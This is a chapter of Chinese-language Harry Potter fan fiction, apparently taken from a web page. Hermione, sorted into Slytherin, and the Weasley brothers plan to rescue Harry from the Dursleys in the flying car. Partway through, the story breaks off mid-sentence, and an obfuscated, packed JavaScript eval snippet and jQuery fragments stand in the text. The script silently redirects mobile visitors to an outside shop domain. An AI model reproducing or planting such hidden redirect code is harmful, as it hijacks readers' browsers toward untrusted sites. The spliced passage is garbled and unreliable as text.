与许多同龄人不同,赫敏对大多数成年人抱有应有的尊重。别的不说,成年人比她更有权力,在处理事情——尤其是在法律事务上效率也更高。因此,每当遇到问题,赫敏总是会考虑“向大人求助”这个选项。她很清楚,在没有完全理清后果的情况下贸然行事是不可取的,让成年人去处理复杂棘手的问题远比自己硬来要高效得多。
现在哈利被那样关了起来,情况比她预想的还要更加糟糕,“向大人求助”似乎是把哈利救出来的最快办法。
所以当赫敏敲响陋居的门时,她已经做好了与韦斯莱夫妇见面的准备。她从罗恩那里得知他父亲在魔法部工作,她希望罗恩(或者韦斯莱双子中的一个)愿意介绍为她引荐。这样,她就可以告诉韦斯莱先生哈利的亲戚们对他做了什么,然后他们可以一起想办法立即把哈利从亲戚家带走——她认为魔法部不会允许“大难不死的男孩”像动物园里的展品一样被那些虐待狂亲戚关在铁笼里。
然而实际情况是:韦斯莱双子中的一个人一把拉开了门,盯着赫敏,然后抓住她,猛地把她拽了进去。
“干什——?!”
他迅速用手捂住了她的嘴巴,截断了她的惊叫声。赫敏怒视着他,但他却半拖半拽着她快步上了楼,韦斯莱双子中的另一个人正等在那里,盯着她看。
“是谁来了,弗雷德?”一个女人喊道。
“没有人,妈妈!”等在那儿的人喊道,“估计是恶作剧或是地精!”
那女人低声嘟囔了些什么,但赫敏没听清,因为乔治已经抓着她把她拖上了楼。还没等她反应过来,她就被推进了一个房间,被按在床上。弗雷德消失了,片刻后带着罗恩回来,罗恩的眼睛瞪得老大。
“赫敏——?”
“罗恩,”赫敏挑起眉毛,抬头看着他,“很高兴再次见到你。”
她的语气里充满了讽刺,罗恩皱起了眉头。
“你来这里干什么?”他质问道,“我又没邀请你。”
“装饰真漂亮,”赫敏故意不理罗恩,环顾四周,镇定自若地说,“我猜这是韦斯莱双子的房间吧……?”
“是啊,是啊,装饰很好,我们非常欢迎你来,”弗雷德说,“好了,寒暄就到此为止——你是为了哈利来的,对吧?”
赫敏惊讶地发现他们脸上都露出焦虑和担忧的神情,她缓缓地点了点头。
“我好久没收到哈利的来信了,所以就假扮成麻瓜去看了看他,”她告诉他们。
韦斯莱双子点点头,看起来对她很佩服。
“聪明。先搜集情报——”
“——且不让他们知道你的目的。”
“不愧是斯莱特林。”他们异口同声地说,眼睛紧紧盯着她。赫敏感到有些不自在。
“然后呢?”罗恩问,声音里带着担忧,“你找到哈利了吗?”
“找到了。”赫敏咬着嘴唇,“情况太糟了……他们把他关在房间里,用大锁和门闩锁了起来,只通过一个喂宠物用的小活板门给他送食物。窗户上甚至还装了铁栏杆,让他逃不出去。我甚至不知道他怎么上厕所。他们把他的房间变成了监狱,而且根本不打算放他出来!”
男孩们全都倒吸了一口凉气。
“我们必须做点什么,”弗雷德果断地说,“今晚就行动。”
“我们去把他救出来,”乔治说,他看了看赫敏,“我们之前就担心可能要这么干。”
“他一封信都没回我,”罗恩抱怨道,“一开始我只是有点生气,但他一直不回信,这可不像哈利的作风,对吧?我至少邀请了他六次来我家住……”
赫敏眨了眨眼。
“哈利从没收到过你的信,”她告诉他,“他说除了我以外,没有人给他写信。他为此还挺恼火的。”
罗恩看起来很惊讶。
“那为什么他能收到你的信,却收不到我的?”他想知道。
赫敏想了想。
“我的信是通过麻瓜邮政寄的,”她告诉他,“如果有人拦截哈利的邮件,他们可能只想到了拦截猫头鹰。”
弗雷德和乔治交换了一个阴沉的眼神。
“我们必须救他。”弗雷德果断地说。
“我们会把他弄出来,”乔治补充道,“不惜一切代价。”
“弄出来?”赫敏提出疑问,“我原本想的是——可以告诉你们父亲,让他把哈利接出来——”
“爸爸在部里没有那么大的影响力,”乔治打断她的话说道,“当然,他可以提交申请,但等真正有分量的人看到,恐怕要过很久。”
“在那期间,哈利可能早就饿死了。”弗雷德愉快地说,“你知道,救他出来实际上是我们道义上的责任。”
赫敏咬了咬嘴唇。她原本打算通过魔法部的渠道,但是……如果他们能直接把他救出来,他的亲戚们应该也没办法真的反对吧?
“我们今晚就得行动。”赫敏最后对他们说,“他们对他做的事太可怕了,我答应过他我会回去找他。”
“那么,”弗雷德严肃地宣布,“我们现在需要制定计划。 ”
对于韦斯莱双子来说,制定计划显然是一件大事,而且还需要仪式感。
首先,韦斯莱双子在门上挂了一个牌子,然后用至少五把不同的锁和门闩把门锁得严严实实。接着,他们又在门口挂了一块薄纱,赫敏怀疑那上面施了防窃听咒语。最后,他们盘腿坐在床上,和罗恩一起围成一个圈,令赫敏惊讶的是,她也被拉了进来,被迫盘腿坐在离弗雷德最近的位置。显然,她无意中也成了这个“仪式”的一员。考虑到他们要一起去营救哈利,罗恩似乎已经原谅了她上学期期末害他被关禁闭这件事。赫敏心想,是不是当她不系绿色领带的时候,罗恩更容易忘记她是斯莱特林。
他们坐在床上,挨个提出想法,想办法救出哈利。
他们头脑风暴的过程相当荒谬。格兰芬多们的思维方式既滑稽又令人担忧——他们的所有计划似乎都非常直接、激进且无所畏惧。男孩们似乎坚信,拯救哈利的最佳方法就是冲进房子,与麻瓜亲戚们决斗,然后把他救出来。韦斯莱双子认定要让哈利的姨妈姨夫为他们对哈利所做的一切付出代价,他们眼神凶狠,语气阴森地宣称他们将怎样惩罚他们。罗恩则挥舞着自己的魔杖,描绘着他会如何一边躲开哈利表哥那根危险的金属麻瓜魔杖,一边用锁腿咒击中他,然后再缴他的械。赫敏足足愣了好一会儿才反应过来他在说什么。
“我觉得达力·德思礼不会有枪。”赫敏最后说道,“枪在英国的麻瓜中并不常见。尤其是一个十二岁的孩子更不可能有。”
“那就更简单了!”罗恩宣布,“我肯定能轻松搞定他!”
赫敏捏了捏鼻梁。
“我们不能就这么冲进去,乱挥魔杖。”她提高声音说道,“那是麻瓜社区——任何魔法活动都会惊动魔法部,他们会因为我们在学校外使用魔法而逮捕我们。我们必须在不被麻瓜们发现的情况下救出他。”
韦斯莱双子僵住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620910|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了,坐直了身子。
“你是说,像秘密行动那样?”乔治压低声音说。
“就像我们是特工一样。”弗雷德补充道,眼睛闪闪发光。
赫敏盯着他们。
“……是的,”她最后说道,“就像特工一样。神不知鬼不觉地进出,不让任何人察觉。”
把营救哈利的形式定义为特工任务的方法似乎奏效了,这点燃了韦斯莱双子的想象力,他们开始接连不断地提出了一个又一个主意,又因为太危险或风险太大而被一一否决。赫敏提议他们可以骑着扫帚,用乙炔焊枪割断哈利窗户上的铁栏杆,然后带着哈利一起骑扫帚逃走,但罗恩否决了这个想法。
“我们还得把哈利的所有东西都带上,除非能缩小箱子,不然带不上扫帚,”罗恩指出,“而且,我们可能会被人看到——扫帚对麻瓜来说可不是隐形的。”
“乙炔焊枪是什么?”弗雷德想知道,“它能切割金属吗?”
“不过,飞过去倒是个好主意,”罗恩沉思道,他若有所思地转向他的兄弟们,“我们可以开那辆车,如果有人会开车的话。我们可以用绳子直接把铁栏杆拉掉。”
“开车?”赫敏说,“开车到那儿得花一整夜。坐骑士巴士会快得多。”
“那辆车会飞,”弗雷德兴高采烈地解释道,“爸爸给它施了魔法。”
赫敏盯着他:“……我非常肯定那是违法的。”
乔治耸了耸肩。
“那就别被抓到,”他眼睛闪着光说,“这不就是斯莱特林的非官方座右铭吗?”
事实上,这的确是——这是斯莱特林非官方院规的第二条,也是赫敏在斯莱特林学院最先学到的东西之一。
赫敏脸红了,韦斯莱双子笑了起来。
“这个办法可行,不过我们得快去快回。”弗雷德说,“等爸爸妈妈一睡着我们就走,救出哈利,早上之前回来。到时候,我们可以说:‘妈妈,你看谁来了!’她看到哈利肯定高兴极了,根本不会问他是怎么过来的。”
赫敏愣住了,睁大眼睛。
“你妈妈,”她难以置信地说,“会对一个孩子突然出现在她家这件事如此淡定吗?”
“嗯,那可是哈利啊。”罗恩耸了耸肩,“妈妈喜欢哈利。我好久以前就写信邀请他过来,但一直没收到回复。”
“所以,这也说得通,可能麻瓜们让他过来了,”弗雷德说,“也许麻瓜们半夜把他送了过来。”
“因为这时候路上的车少,”乔治睿智地点点头说,“这样哈利被车和自行车撞到的风险也更小。”
交通绝对不是这么运作的……但现在不是纠正对麻瓜的误会的时候。赫敏抿着嘴唇,在心里重新审视了一遍计划。
深夜驾驶一辆非法改装的隐形飞车到哈利家听起来似乎不太明智,但或许可行——他们可以让哈利藏在后座把他带走,只要不被当局抓到,就不会有问题,哈利就能自由了。而且如果这辆车真的能隐形,那风险似乎就更微乎其微了。倒是返回时被韦斯莱夫妇抓住的可能性更大,但赫敏并不打算指出这一点——反正她又不用承受他们的责备,而且到那时哈利也已经自由了。
赫敏坐直了身子,抬起头,做出了决定。
“我们什么时候出发?”她问道,眼神坚定。
韦斯莱双子脸上绽开相同的笑容,乔治悄悄地溜出房间,片刻后回来,眼中闪烁着兴奋的光芒。
“现在就可以,”他告诉他们,“我们走吧。”